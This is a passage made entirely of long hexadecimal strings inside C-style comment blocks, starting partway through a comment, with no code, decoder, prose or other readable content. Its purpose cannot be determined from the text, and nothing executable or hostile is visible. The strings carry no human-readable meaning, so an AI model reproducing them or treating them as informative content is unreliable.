517863af858d9457b643406c08fe78caf86cd5b8ca1b0b39bd046b8252c16e24bca5c898b366c13c2f81e2cd9240d1cb4da597b885b0a6a8ad032dc3e2e3df6b22b30b0a8434fa7f91bf7718f290a9404090a3596b9044c99d131867f70199679bdcadea2b454328f83d67cbc6eff38aa99f347b1c918849818d6371358b5d833d18867a55ee44399d1eee5a479cb652bbb55877c5bbff5f7fe40c902f383a689aa60e2656af04b7e0f976ad967311044c13079f4282eabc48b0b36fdb09850028028b77a378c212309adcca383b3578463f875f81511d8b9ace659fd99adfac32266d2ad45296cb2d46c79d9c32536c60b01b37dee4b77d9890cd42cf6839367b27d87ac59dc3051eed35c9d777b69063fa1d0d754c55d9d7324d1c23ebb473a6982137eddbcc619e18374eaec030bcc6e4f949e5ce4724364431a6291d7a9584ecde9fde3a9fe40daebaa88c870541e61b87aed003a0fb6bea26ffc351e8cecd0b2eb4063a0faf1377b7e8ba68e0feda716469df937b31ad2cd62d703ad7afec2b96b76bc6c95062b409a8d168a9e13abac97ece1d04e99f22e5bb0988a73839b86481fd3ede7c153b50a725a46314eea280266dc71d1650c565678de8de2aed3427566c1d4da0398da075a735dfcba18560909e4fa0d8137e7e9bb8d5797f27f847e52e3c0673223b3c99b*/
/*c0e655fe3aa37a82dd4308de3b45ced5aa2eabf2d7066b17b340bf039fefa24a60affad1461c57c26976bd187330f48ce0d426eb54a899d1a5961602162bd0f948ff6dd0ba77664f33b2f687bfdab37460cc992070d29c9cd2c8b307f0a714d8327efca70e757cc51e00702a8f5a79298db85ee4021df28d824e3f6d10caf62b14a23fe9a295d07798ad9e935c0630fd0b95990ecf9ef43cd5ada9ea0555b5e8fc136ca59cd906a2026b66af88d33854d7c94de01e337cd5c8d157da33c2cff43c3f34052dd79928128fd849340795d93e59926363566eb0d8dc8e01f716ec6f7af53e6a13db653e9f3a35de9c178a16709ad03093ec524ccc0b432b1b137d0fccdeb6d62768eef6c5ba46b6b8591edb9c6b1cefb53ba5145ee9e282577ff009d7f2e50669c80a56fccf60f3237699b17cad52be1af95802203c04d25c7ad8533aa861a157a5954f05818dd9754fc8f9bf113485e67ddacc7986ccde09e3e5d7b91e102c969328de077556e0e96a0f184d76615806a756ce51748e1db2a65ea65d662c042196da397649869fed0dda232a95fbe5e7af640c62316d5e328e927234228fd2649900cd32fe8a1f266a2179567ef147487186da9a0c7d420cb2fd05d1550c9aec9ea70bbbf580df399c1e804e879b8e5a31a6bcc250f8ca152123497e46ef00ce9e8d1c7c39a6f3cb3557ef12043d97b6918007ced6508e511d6b2ef679407b3c1e8888a0f308a367329b34c4a7d5a2b7df3cbb0159e7545d042ba5ae565641ef969b3ab3a5910d5c5def98d205fbdd05d911aa3c44359b3ec8bea037b38c7e2a820b64f88959f2aded1859bca068ce3af2f27ee8e5c19ee98b7452b3c6f028ca1fe31bd777c6442da06e70852102f6c56243a2c3fc35089a15e5f13ecd53806640edf66c705de24151a9d1be3b93e615bf2abe9c6cc37ffe33e66ff598889b7a6d7a151a1cc85562da52d3370950cc7023055ef2bf1bed0a26bc7770b0361de2b62bd4531c0aeed331c126b0e1ff8b1cb1e3e1f4bf2bb27d3dbce24f7d721f01d6732266e6ea498991e464a4cf79a9a897c3a4a358dcb81445ee0f65592d7e034c8dafbbd44060bf0037a7a640046263a1d7790560f9caa5a3141e5968e67698cf970683ca0c3038d93f3eb84811cb2fbc000449879d3f2360b8a189d4c68e4921abc139eea25a9cfa5378ac114400d6d04ee0f119b9bd3e90112059dd75aea1c0de1404e7e52e6f5671cdb85af221c9cdb9caac10e6e18af3e0de1088bd5b0e8ce4ff6fe083e4ca478fa281ecd532e06c3a726da53e0fe5a02f6acf60e0ec3d5eaa04b4a696ab9c726b1b45b69ba3bd966d6f6ba06e24c60900551d328b82bab6316b7b878ceef8bbe202caaed274c7893fb5edfe918e895be8be84aed7092f6635d5b51802fd8147d9f09f34945764e0731f8acc01be258646e905d23b43e3145a1635e97c8939d1bad392560342a200527b4a5e5586270634f5fc0ed67e9c9e8466be672dfbbf240508e341bc682f7004bcf923caaff21df3b5cff396b149fc6fc816e3f6811f1de8adaa771fc6ec7089ce57a9d84a91911fe122edc5a40c348ad79219b087ff1d1569a3174b67c6bc82fe7ebdf78a3ac2ec32ce2968e5ed0a09f8ab3f90644849c18658cb9ae76b6a00fdeffe2aadf05bc438c1791f693966f637278227715a25117247058ba7402a9a5db1ee440635f5be383695d9f9e8d8d2425b8c3e5e3c94b87179663aab0daf7a9640d6b097140cfc9526e1226691780741094bef48bf9052a0575329978cdf191669f4e646d8ece00950434ec4374454d6dc1bc2206f1e0e9810a95a9883849e2d5977b3322c8ee9c073dbaa07fcba1247a98049ac19f0af0ab7df17d367e1d10824512817dafe31cf1afcc29628247037664303ab434f1d670014c9e7fee826d8d1172064c636979f356239ca8b6666d9f6c9f1b9fb832202b66a9d57842ca0573dad1fdb1ae5d67d9c264c89f07595b06a98f40b5fefe60eb613a08a41e21c83f399de1fee5feaf367ebfe645af6ea0e7925cae5c3322a53ced23c940f88260095654979de4837e7e7f2e83a079c473fcf23da3b7f3bbe49d4ec34d42e23083fb9d9fe7499f04b8f693f9fcf881ca5311a0f5255a47a238fc671e50512f4733b1954eba166ba0e6d75fb93f26d5b7e24cd60ecbb3d41af807b099d09bb914a5f0e1fd75771d6899ca7d877fd71f66ea3c433c7a8ad71aff4a75431e79f90b7b3884b615df27776a495db0e4e7a4db1e01b3fcf538fb063e94b8c1fc368660fbb8072bbe7ecdafd48cbcfae771c8535de9b6a2879778e01678420bea0e2557efaf16af304955f40aa1f7aa8f50b00fd2096f059fa8c27cb3963ec044bc589b7ee88fe2596ab1e4f409b18a26d3d4ab2dfb95b928e7d4320102244f6cb9fcd852cf1d749b346d6f61f49ed3a1fb5ec70caa949408ebe0173dfd1800a3eb41dc8ffe935086a9502b80e3e9d6d52b799574bfefcdcf077be68cd97439512b021f2501bbf2c9bb14d6024a70860df8165068006ebbbefd1adb38d6277f4009d477238714d20a098d42bec019e2d6874714bb699a638e8a45aab09260da4d34b7e62558e5c1c8acd34c0a0be0186a64b508f2ca15b01c3058b19d3965dd584844987370de1c8338ed180484683b113c15b0ca7a6d41d93704f4503c49a795a558abd04c268ac5e97ef7364fe772ce87ef267a41bff8a8a6ef8b6901be417a555ef98ad6d09f6f130c69439c21c403aad2071f1ad2f2bfe7cf7e8d91512c16ac44d4d7b53db20f40ae119ff472211bc27702fe61ec7e1e5df4e58d5*/
/*f611f65de3a7bca29e4fa2e2683eed4f5c0fd9a747044baa19a0d197e58e7a5392373eb9dc43f8dfe439519ab063f6a0268d17481e1c067c3ce8d2ad1d8d25bc0f04f2beff04af16278a8057c809688536ec51e1321d07905738eddc20f6f2eee2383093f51baf104e748660e75852c52eebc0a65e8dd74d3c4a293aac52c21d7110da2e4f0032b36edaf76f9688a5daafd43a367f05242e4d7807a67dacc3a6acbab14a92bc72b51e26c8700517e6733e5e36da73e270e0a34d9665fc72ec04931e9cd066da2891fb933d92dfa38a2e1288841aacadc65755b2562c2a15727f043a762d47118ad6fb776beeb217253e26d802bc90dfe85ad5e8466a6f2dc9b196966edef54a5559e18266a6e944229ff812f5ee2f0f3e1599d66b21d7ed80279311c76e3383e477ddff82dfbe57f82426e4e65dbbc2b0f658d1d01de98d78f66b017f15ef7e595d783b05f48ec40855d1d2eccf341285ed53609abc8aa5f58bbe8a4944fd2f2717835ccf1b9ac0ed7835d16574d556b38644848d204078049503585694dbdc9cf1db2b7d58cea8463c196edbb7c5b212521afcdc7f37bc419a1fdc4225814308cd57c160f2ffd3ddc7ae40c993fe05c4ab5522022012e5d857602e499bddf7ab65f780f2ffe8f962f3a33c4602a7920cd700f174f9c6f7f857983b12ce8a1a843456aa487d283ff37e11b9f56678ac51c309fa9b41d1c6444c271e4cc3937d6a28717d0487448d064caf262b9268443ddfd9eed71540711aa4ec9655d34f0d4911e308be1b390b9ea3d9cb9b1431c42c67211e001fe3b26d7ca6724c79aa5e8614342a6b771e2266b552759f0f02f53cc4b35528f5d10feb629452584f4b4a7f257647fba23cf1757754376bd3dbf0245d62c29eb0fa88503c56c77b3cddf3f321d87f558e14a35e148a3139675dac4a9efe2fd1bb4a14d8153a9ee4c17e7cf326b218180e67af26fc9a9e25bfa81e206682f1e722310d451b3d5b3303276c59524cc32d7f7a29a777c1e8c944fecff3a26b00f68940a9d1f98b08e66317944ddbcead7f5891b4e1561d5b4979671d62a2256a4d8a01618568c93aa385d34c81abbb97184dccd3442a39b93da676e9a11d3f2ec6e7602cf0b937ee61cd6706332ab917e3e1db5847f8616cc51e56c71dc8f54344fe74ba65472c8bff20872f36050b43cd99943f358a12e89b9fe84d7c6879a5f738c59cc7268914ad15849593d67758d93b3b7cf55b31ceeefbbf885740a85bd466589d98e071bfc34fbc678c6fb68ebef4812d785a20c70eae3b4abb6d8ee12366f1197178057b9aed4066fb6eea108eb5dfbe369c1a7854b7ada1e5adf1c273f2a82ad256d8ca8564c152c772e3d01f6bb5e726c21767b0577da8476ab6833d32fef44ac528227c42bb8f21d681a440221fc1b289ebb1bc6f6dd6dd9c461e6863725e5120d894a09a59a714ebe7d137fd3d470fbd773a72dfa59f5c5eb4de3a67d862ca124d1b2a2591f0e2eaa6d12c33be254298eed2055bf78abfa858143730283bc6082cf45f02731487a161391e687d0e612992d6ff0419515de5060da36a8500d532f400d1f40e310c024d31bf0f3f06a53999449e34a8fce3931587840e7dd2a529cc347d72dfb4471633e35aeccb83aaef737dd3216075b85bc4cf9ec0b09290acca000ec3e62380b7a13a3f1bba316e6729680af2368ed04e2266147aea899241147faa52a4af84210d01babaf62e109259ba94133d477c75bef6d5df7caee787ed7c146a2f21d52a648f527b0b87650009305e72a50997f1a77f8aca267e0bacc5af3efbba6bc675e9c15fbd82c8142c05ffce8b8b3dc8ca4b494e8e83868f3a9995fce63ae2dc272d1b6ae178228ed033079c98c3261a6caeb16131531b76357fcd8ae2945f2f87d0c0531526b6d59cb27ef7cacfd0386084cfde0161ab422ec1da7036b20459175f5e4a018ada31ac4a83762029396869861340830f8561b5b0cb90f608bf3b82f90def5a68bdaa072902259a2b7a3aeedb0377e22e087d38f5ea641969f0a4028b63b168275e2373965ae80de9a4e7a1e096f881d8fa035c2aac513930c9d217940bb7c707f7f37d67ab09e4bfb59bfae2042cae23fe0f0ddcc7e31e13182bc77bd664671df229a6bdad08634fb5c7998d5d8938ade1ad91911a59eec8fb9f829c5d2c6dc5fb52fdde2342f5e9a16f9fc076316960ba9fdc1eb11735458ac47e66114fc509d06d3deb9bae79d775c37b95af4044675e8f7e25c76b656259533e2d8d59806f99e7348746ba5d0df916baa9dffb874deaf6703fe94dd110f6c9cba722f35ed570e1b2367b631dbae2d98b0d9f4a87469d3bab8208ea8665a7ae4fc6de3bf0106818eb37c045993d4a3b3f283ceedfe9ed5e698959a41db92dd945edb57aec89db116889f09fd5ef9c5866e09a2698707b44b0cf5ed33d2730d2b6e4d51028e6c1c6b73edf0c063118f0533572b8e46d1cfbd41a58f4caa1b129fd4e5fcaf92946e4617de623a87a4010e19e6f20f1e640c328a302403b88eaad7a78b3657d351f1efb6d7dde5df4ac5a3f6e128b81fdf1cfed27d9c5c26bdf82561d21170aaa2dde380e8a539df02588a7389b34622332a901c5dc71b996625dc44b6cfacdbb1967bac50714c1904f3fa4ae48b5d75b27dc7ad790537d989ecdfaec60dbdd3e7c4e68460efa2c4809e846dd91c8f6a98750990bc9b33f16f2857a4e956e0e623b08743727498ec6ccf8639375bfc2fbb18b5592bbdfc265122b0e7e543c64a4fde262df279c7d8e037fc15e20316ff035ce49382744a67b7703c06ba69c0117fd0fe7*/
/*680a7e846605e1b153650f5d7f12cde21df70bdae7b3e3036102de8205c318f128cae6d5b043afc29f3b4578517994d520631f839075537c27838f3c72c645d98b183ecf03374811fe45eda2fbd575e177475d53e3183202778d99bba072dc8a143b822148b2963d0d02f9a554f2173b5da671de7ad1e3dde1e23aea1bc6da2a2965255fe2b2794e78ddc0ab27667f3d819cc116899b1a9fb0be07d29a9b887b3b8e1a77b9d1bcd8e48b097833530ca2f7f4b2570f926718875e42ec7e2c5cddf6b39cfb1bc9f13dbff70fc2667b9c2925fa7f9cd3c43bfc1a4551d38a13ce865d56f5a10f002b39f855ee5c6feb4657bb287097bc24224b81847e97f3b794e356f39c5302433e892ed3e4f7f316d6099aec60df6ad960f7eb25f633fcd33ecfa1b9b2e5e42c5d2554b7bac84af7f3259f736862f2d42fb483276cccd6b6432d38aea5ec2f6be68f7cd1092408601f5d4dc93c6206e24a68ffcc4741908b562ce203b2830363fbc7d93e79a7dbf13886b0b6be80598512ed02a8e93bf4a03793bf007b1ad0549dab031d01851565d13a1cc179ea9b1611de4da8d4cd0d8cc55703d142ca3e1066fa9816799e05163a3feede35d0dccd8045951f791aa5b605a095084e0dca9fd24a8d9dc5b3f6dec5bce600d2e910d9d135ec386a2a2692e32da458e782f01f5a1237c3d066d6e225f7abe157e066fd005ecfdcd7c8ea40b9840cafd822efd5de2e6956b682c183dbe59a86140233e40403ec9f66b8b9df3953752fca2b15ef5147dba8b1a73a0470a02d71d26273cbd626966af207655232fcc66dfcabf14435671b90f606a8516f6b97f119ece698a8c3b027bde8b780e3d80ed016f0bcdbd82975b8376f2b846e8f413e1dc59a650ce2bc9ce76f029830816291ac58eaa62d029bb8a8450078642472d96b6a53df3a273279748ac064d9c68570f5e3285cda9130e1f4bd73891df05ef7762f69b7615e4c355e4653f29fc30e0f55b1dd7b16d27291a40e45def4a8faf300f455e408813dbcca6bae04615951251a1857707c08f67ad61d40ccb0e7693b11e00ca98ce1212a36e1e89218e5f777e2ffee37bf70d35f1a83c693ca902c2e20d1afab4c420edcb2a09f39656572fd32462a3384ad2432dfb66b2856a067a6e7ccf83ca3c0db41911b87ed30b624e23cbae8fa25fdd581bf2bf1bcc3716ff5014f527a2275d9a86e126925d495bfdfeb5075123e75f07669e2e3d749eb237e937389a1874d5c3bf18e1c7b6a77e16290e8eea3bebf1361557acaaf846d4645554862eb4f452e8eed32118d35e03c764ef3b00c969cff0c7740b852f7e3ee72e28ef2a234222a26789462aa560cb3dd9c18938fce0d014a356991f140f515fed54c15b3e54b679072093ebf3290de9e6d152fd5069041bdb4d82dfc639a360b998204bd4f99a9b23cae10b567abd80a15b3f5085648750763b4d672a251d581ca79238af72983f850569dbc04c5226d57e865a8f2d7fef957562f8145ac4ca1870c699aeb9d82e3ff51c7b1683bb78f58393bd7b4483977e93263a6df24d14d9381c20fd3ace1bff6106235a45656041eee0553403906b6ca5bde96d5aa16cbf53546a0d92a23ee17d108a406b7e6b2176cbe14679657156bffe348b568d571e413cebae02ac23c5f023412ae6a80c0ed114bb9225fab829f4c18187447c590293c0187fb74ea64f0f378f6954b10deea7e35f527d00d72f1d17bc145668e402993e941274d9f0be4302a13dab3909bc264b6e2098a5c7d8de81e593a15ddf33b219eebdf7e6d30221dfdb5f312648db71d047e5d5886d89da7be889eb36459697156f282659ef4e3090d3ff17ecc38d7c94ce9e834c1526e4d6c4b93be8a7a9fddd6cf91b4d79185805a799ec0667543556be9773578a90f9defa21e806d9ffbb03b7d3de72ee23dcf7c8b3c6942522f2484def1ccd3e0725a82c87ab4b2e2e2858b754740cfc171218c7f1ffc0904178532500bbda4d517adc673ab30fe139f3ec90b4f8dcd5cd4f4d342b65423b58515a5d985f85e02c1e98574297a0bd124056d9706bd09d0419371bdb5d3b69f83e98ff062e6588f6b50484f3990a9e609d4a1308b2adec72eb712b62848d7504cc4b56fde5e08187e137d064d77b6ae52c4ec6c1b53da5283f9176089aed45ff247a9e512729f88d70443420036866a8dc02800db7d7430b7a138c29406abc2d3f73f320a446ca7df54dcaf247e88d3f7eed8f350c79795c062c3d710b56cdd11f4ddb4d1e0a93558ae4cd81665e868da6b0c96e8bf5f9e5ffd39062e7efcee51ab4f59c12f5aaa4a2459a08767008e98e93c6cab099eb572a231de54ddfe839b5dcc93cf759140735d13f56fcfbb30865b6ba7b41e7ae497fe7cb3fb6500738191ffb90393ec7ed55cd3989edfd5de58ed5d1ca95c79518f03ad5f12a84962c21692b244f2f554eca395d3f5e9b7c390452baa72250c302b255d1919dbb6d50b0fc4afd82749aad2bb0b1998be4afb2981e2a4a54fe28d549e15f373fa6e168654c2206ae391576c0af6f370b0bafaeb7546ae65aa4369e20327eec4bf47553764820f1d1c0fb8411a772ea687b773cb5059f22963581132722985110638be855cab1e58c72a1a322ce63d0b66d203020249c3f1954ed73be7d638d514a93a8252f16416a2b4e69b08335a21d051702bbf97408eac139691336f69ed305761d2c613e8e06a3c37677932fc530494029bcd9adffd606ce176058f5d18c4b8ddffbfdf95b30fb2f6d7913d898085c919c7548b117f4dfc80be92c8f48817e39e70266810aee38ae85527758e599f*/
/*0ac38085f7aee3a3a8a3dc404912d10dd6d0499b4f43f5242be2aec38e46913ad801736387afdc633f1ae9bf9874d5a268271ce42e1d64baee2d9c995582ecbd1cf424fe2aaae045a38ed387fd44eb424572aecec92ecdea02dae484835436714892ba8d7e40761921cec2daa9f33b9f895b680067bf4b6cd5fd05789255efe371f054afcfe7ab5670aa9fef4c5a06307d3022f72b9b5def3a418b3510c8941a972d8ba7a4e237f8b23bf3a82ea5e2bc3bda982afc93b2e1e8806bce37878d74c4614cb64dff7098bb27becc0feabf6cb5fd3f41bcd0ea0faff69dbaee783ccbe492fd6d8acb2905af6d58936672ba611f9938d9c61cd952c5760c5bf3d9a0d2182777443ce59f47fe8be22093e2339a3c40e280e8b85f8c4645b8fcf168e45fcbfcef5362701d4c45b7c6b798f512e017b5b27cd6ffcfbf6c72c1fac4f08e18b0f7a0f4a0c436297bd66d15172c0df10bc3022a9c8ab53d1e1b5138734a93c85b6290aed7e03710f3c6098c345abc5141a7aabfe321d8c89465c54e00cf5ff732eb189034549870a304446868fa0daf51dcb369f71e3165f05111e2c876659dd164211d966bf01c3f4755a6153ee15627fc77a961676f394d1fe7c4378d7ce28ca001b82fe930a7d849b92d30c11b93c496924511872513145335c16559539c6a6d1b9e064c7bf69ed9ca6d9c275f3d371ffc0be8f40d510f9742575b5091a653d2769a48e36fae981d9f693fd3a138f78481b7e441b89ffb21e8b06a1dca3eb1284e572c543acbac22faef496a5a1d676474a193a6c465be39f9c3e1588c22b4b4b0afa24ac4b2a5b4d8134eb4e375b48ddb7652525448fe268ad39486261aae9ae38068733c9b3a572c4d46d791c70824ad7f76ccfa693125b6dcb6643391126d58fd2b04f35d3a45288f1e630471c0281631444781b30196da46928716218171275de10b4b4691d0516041bfa10a471d06d71bc5d0a993523e1a38689ceafcda97179d7033f2f3b4325b92392f34e7a009cc116562ab83037406c2bd674d30da341162a5e0c5bcd9ebb297ae3061834b498be9388d2b0e5bd94fcc32e392ff33c4363eb5aca9882b74a5decf12ef485b1a5e8c882d4b47eaada2ba678e918ebbc1c74e0b267b4ba6e2e5c7294af49043a015459930d99afc1a8b33307737fc7dcf1316863c9af1fd196fe27ea654b18c557213ee66e20a46e068b39ae879c65c9faae0b2f47ce40ad36620a7f981e696fba00bb63e037dbea0b08844a20733d4d2c6cf3fc29121374408b30cb215baa252fe305e5a9413a1cee283cdf11489529e850b80949b21fee2e1a91521213b83d39ff5b3cde27721d0c9382678f68cdbf9706ae52ce281f2154a19f9dbc06cb77547bb6e2150ad9f4dd6e089891bbd10e5d524455943208a4b1f42e2a11ac2aaefd9b7d0c2e8acdd2492d8f7205bafe9c11398d3fd2660b461c6d71cbc210899da93b20304a6dd76d41b90b8fd80cdb22b7213c586ce9cbbd04e39decabbed9af93fd884fc3cffd23c6a54a2b9dd85230c8b19be3e231e497bced794761148cbc06ccdd4fa3552c9e2031a55c1052cc7fb71ffa62d4f7fc74582fdd99997e7154c88e54b915b5bebf2b4036f8cdbe6c980d3d1491c686840e3cccf7003ae44736e0c9464b34f225f71a98a211910d240a3cbd5660ecb1d9fcf9c16bce779b851f7ef1882f1845feb166227ba4d37ab4ef10a7a482db3c5a16de7ea035a151438257f3d208b1ce3ecca189cd00195841475223d248d6e075c7f72da96ecd016d053a0f32394a5244e3bc7f5344b4287038612acb57f6fde5166b5c4741dd2bf33279dc86257c19c893ad9ffa0997ae99336725478bc4be6bed977d73902772c2f2e0a6e148dff4d377379b34ff1b50ac60f26235bf40cd022a22ec9f5bd6c5fad4169e5eb9160cf16ad475f1ae906dd55e8ca891e9237608ec16df144b245cd2d6da2e0d9a42dd0c745c87786b48d171ab8774966c4c62b5bba37506a243d5136289504013ab7747960eddcaf2c94c42c4cacbf5079934ea7590cb77bf4d3b3e45b08c6704e4bfd1e2ad294804b691b6269db76b233a9e4d9b2c5cd46ac7e6d3025c628e8744f3a2ee46072f6b69b3fa425bf9c302fa5d9a8ec50cf64479c1ee58734d91b2b86dd645757ec3d87690ee2a1cd75ef7d214098f2fd8a7bf8ba35d2583e2a843092808830f1cd4f70977cd2927a1157a3d2ba2859b45c3fb1d929b9c2be980ba5638f09080d5bc1ac256af52788a634ea3251ab72473ec0344f98325a0e26faefd506f5812c8766be8cc93736cc8cf2b1a4aec11bab69474eb2eab94ea9bc9f479543a7c03d9450ec27faeaa617722912289ee6d4d834f5496b7ccb0098d16b83c771492e7f53271d4277b42ee4d5244908063979e2995119e9dc80330b94faa83bee7716d81d784b25d602dd63709b6155480afa99070d9795d2da18a91fe29e500ffb0f4709e1045312ce69f2e762840f076aa3bdaf97b478a9f5ab534f0b5d06fdd2e42684655d2acc6d6881fb7b1a8744c58bca37261b060c7c444b365a105927a8407c1be3509c681247a4ccc25cf0029617c515cc2bb48a4d9c361be0f7990d6301a5ccba5307c5db83abfc08c899bb95b14f5a41fc9fa67459ca703d0a49622f927a146e8f5f055b8566ab63b5d2567384c96a6ae33fb762675a6878e1cbc4e28a1de562f1a10395c1d793c587e445bd1f332704c4765709344b74c64e70e10df0f6010a700dc80ca9834b48ac188f1d9242308573416fa805b2f669c9299e379bb864d553952e1656034b660314872c1c264211a46f*/
/*68e97be8016a9d2ea150097ac0d60aa80f56aef701a667c07ef5d7bbdf80c734550722322bef09b31bee902f55e06132e6bc02fa62fe1ced75d3ba9b64c34e76cd1d3dd9ea0ad393e7f983eb8ca7b05fa22d000ac7f4eb12b24738fa9d8126faa5f34f42ca6a1f1ca6c44fd72e040c39149178ef2562496e18a0e7104d020e46e2c080db17c4faac95945703c7c9ca4edaa12eee4e3caac085eff6ad2a60181733ed73e44ece8d786ee61ab87e06e25fa50c714b21a93675cf9dca15979ef44d9488ed4ce2bd9bb73a855b403b5506056ad68c9ba0497f2795e2f7ea8c51d309d3e9acbb75e926a323ede60d21912d7874c6af385ae010e2c54d70e3436e366a926fdea75861eeb4465b703fcce4e10c07b76561b023a9debd7b362bf96dc54b0b3b7772ac4789fcf51ad84d7e69eb5aa8ca61fd21cb8dc6d325b483cf34207fc597beaddb4d36553ab2886ca5957db647f1f0aaa55448b7165145bad6bf349c813e248b8d6eeb965d7bb32ca3e6ed3cd250e8279c56542e2a78fe892674fa4282395519b5e9fafe942bd507a9d5ee47698d0e80b125820cee48fbe48f99ce20c176b0a64f5f393f5f4f627854de86de9b15e36d6244e98071dae805f70ea2b000e5037c9bbd257e5bdeaf1583e0bbd0d06a615f85ac0259672e57a366035c7d74b070afffb23e34c465fc651a968fe5c6c1b891ce3d0065d4999bc2bf4bc17d977ebf3ec16d6ea3f709c6e8df1c3c609de22bd504effc7f4fcc537c5c4617b33b25b7ebe58f1cd120bac1c07c81382fcf6c94c0eb62869010821f66523269196561b70813ef910e1412c2fe8dd9d2dd0ca966fc37a22a03c0817d95f9c2b9f185cafbf9c27cf347e7a025dd391d5f732b12adb36900aa8cba07c61a55a61de35bd387832bbb6e7ed5a00fef296e37030f15b984f5a229f613acd5cc37654c1181a071dd16688d34b325e0ba7d5a914913e599f1fd98b2f8779e6194e8bc1e05f6801f3ff19cc77d4bddafa7fc552a0ac1eb407add544cd8381c082e696b992965ccf0c4e91d4f24ecbdbe1b793b9f60fdbbb6cde894492cfa6a6ab587e49b4deed72c2951c57c13ef2a382cccbcc5e007e9a47bcf4ac667c1920d067e0c724ea50ca5e51a1837cb9d30a96d9680a01bf1fa88f2427c84f75da4b24639df8e2ba42196138469ef2a2afd5479b833f45767f99e3a57b59d0e298fa65f491e0a9df0136a2b1652c804c14487c16e009002453ae751c04a095548f91c0b4bd095c127069b9c32590d72f096aeb89f3b64ad405e31ec1bde7d9128c6b668725c380fa3e9f26a8b1b01806e82b82a3e2dc78fed6e29b78676bcb3d9c03f57fae1bdb75df3df24a3e8686c53c28c73a0c587f72d1a18275efff5e89b12129783190a9053e7e668c7e96ad915d1cbe5b34962af3e3f43b1f62de5f618619b45a4d70f921cf16f593fa34bb3daa854e3e59ef8e52d820e097cc57c615e8c1eb4e8b2525d5d1c860053f40e000635a944a7f4a91c64591db1caf3be9afdaab19bf310ca917256807ad8908b20626587dbf4d00bcc46d73e44cb259771da0e3aeb66d5cf207f79debc99261e8b3842ed3631a18164fda837720c1228421ffa495ba26133802e3e0852b40fe6168b3436dff07fc2c234226ac3b18f834c61847e2a9e41d4773496e8027b427912aeb458ba30fd2263f0967ccc9defa67e165125bcf0294633d514e759e2565a891f08d82db8e95267eb5de8f558827ab982ae08ad2edc4bc7b312a8a2d40956d3b6daef4239595c7cc2312ae625f695e4a7d5593b0196b887a59f48407f2fcdcb1a2a653e1bf215cf6ed1ed10100281ebc4d7532f85474de3dfce92a1ed8d0695c91b20a506d0dd33cc9e0643649c13c113f8bfd9b572ac9f99729bc4ab3fb2a2b9ba0d4378deecd16e895e345a6ba7ffa29833e9c1430cb7c44928aadaf37ce3a5540932b6c0bbcdb20d5458d747469f76b91308c7f3e4a300671691f7ee039b5707f39954cc99449304f15efe1d9ef4f56776262ffc01017b3d99e49d8660793e4d5480c3d5021ea2801dc6d1ed93e09c720c29625d786bf5addfc4ee2b23e7a176a892a33ab9578534bcc0f6111b1d7b5c4e1f0591824d5aed7dc530b18d6d8a32e4ddf7a7eadc2a1d62a0ed11a1251763f9e196a285b2adc5c237dabdd3d874c28545eda430207ca648e78173cd6901293900e5047be7fabdbc28d392c2ca62d174fc2a06e0133a9e296cf3910ac1a80358813a5fa7f63b2eaa62e020b48cd992ba0f16172bfeb83695ba55051deabd1bfeca6b0fe4e8c127dd3fe63d4f15565bc8668632a0ea22968dc5d310c4143fe0b3a40c0617d32369bce21347a101c696d8a1b80f6a3c03349bca95edc416e13937117a5b544c6749ce7d6d78f23e1a189a9b8462f86a78c19d07db928a77935bcb6ffb1d7494d0fe18092b131edf8d1bbed420fad5ea15ac9a2b5160e28b9823120bfc25c5afb1622ccaa04fce967f8ed42f3e7d4c430bbcaa951bbacd31ccc65931edeb18771e59d05f6c34cddc112b4d198fedeae574d8cd6e9f691176f429554c77e8fe83264792e5d82a1cd5322f871b5ebbbfe1f969d66f90ed7258a19dfdad6b80b4488a8a6263547bf6afda4f4ac46e522b6053cd1d43a36328cc2d0378677ad58eb50b94b854cedae7f06ce5a356c4ad750a2fe5c5e59feff662deb54f8f8ec179438c47cb21d10a0793241121e7bd4cd772acaa2f1797b419fd7614db1f24fe1bd4edf10bc1d7c414a1959c942af91cec21dc064fa92b7156326e88b0ec38d0af499f545f80144753b8af797d64d56373a2*/
/*da9221629881e28b6fb8bdbc66d2118810145887b60f7d77d7c983b3c5de743d50bee7f456f0604724702c4a33c7b17e65c23825d788c79a336f2a8a2922417b518a8efb1177612c6015c62caf74f050d59ea0eede00b2f513c90a0a32d67a4515221aba4588c238613737612e591f514094d012e786664be40c29aa2f30be776ea214bcf3c7cb26f957a84970f848a681a639ec65f58fc8b083c6c212a5d75fd45236bdc3bcb98bd43c0a64f34ab2a2e05d2cf329ee53f1ef93ac8eb311ee0bf07688aec8b2bb7cd2e93c08a90b493bbbf1a53630373ab16a35af5a146e4ee4f9ff97a94a61dbd3d781aadd5786343249975aa4f0a2659524a931e205e060cf850c8330b88eb3d0a6c5c61a24c85d81b1c434a6828695efb594659d48b50195577e9629b76591e3508a8c2a06ff501194dd9a87360fecf31c868f0cef000b2d51d201a8fe8a445b9b6ceb813222963d00a7fe61f5633290ef65247cea9609d26bbb7a2b9ee26bf993b5c1ec1b49b13add6ccdada3ffc1d3619158ebb2db291b653fc6df300c27510ac13bf0f3e69e6098c6485f42c0e7272d039c2a1205147e5caeb8e879d85ca4e0da4d6460abc4b80c3ad237c7d9f8606357f233ec3b61cbee334ebe3c1a4ef5e7c944af73c97b900e2b82ce68067b169606fd9e37ab1aed2171812192986bd5b9b91202b4967d6fe52d6f78bf69dc962fd423c414576d2c9bda90dc9720e230ffe56642b8360652f32a37af90f644c873470eae530b364333fe0acd502af37c03c21fe8f91c090766ef572a5268c6ef57de04b73e7d3a9f7304f2b292c5077fb482a18dfa84db94e8c4c75efc3fc6853e2de8cbef692ee73e8a2b7872ec634a1fad2572e10e80893eb439fff7f92e57df6bb7b47bdea30977e44fd0cd8c92d58c03650fc277b101838e81074187a355561fce83e392d14db42f3b2c8af99ca3a24f9d42fb69a7dd1d4631cd077199472581dd95833fd509dfb988ebb83138af186d73c013750adf64c89f83dcca46ac2636f63f3c34b4575df9124a213649c7ae4b882dd70d0bd12ecac8b0a397a894c5d47ff1ae40fc65ef3f5e5cfa76ea630e36570f39a634f9ed4288e500cfaeb9744cf582baa3c5e08f77264097d96e4d4768ba288e83d5c57667ef14b6bd16cabf9b07d7fc4b2185797c2df860f3de35774fdebc8cd013eb102853dea32446bc730e7b112b52d32654b752db5bbf4b2fd3dd832f828333f1ba3a578be3b539973b198ec43240e54a5a425ee4356fe1c76c3ea013df9a27be5f9b73b55d65c5ee5468f350296a522ea3661b2e529566184bc554f09d62f81e92cf6566440d3a18cf23f76733f3190c2cb9820889463d70596905aedbdfeed2ae860b16a45d4aa06e9f39fb75f91f1a3f8d2ec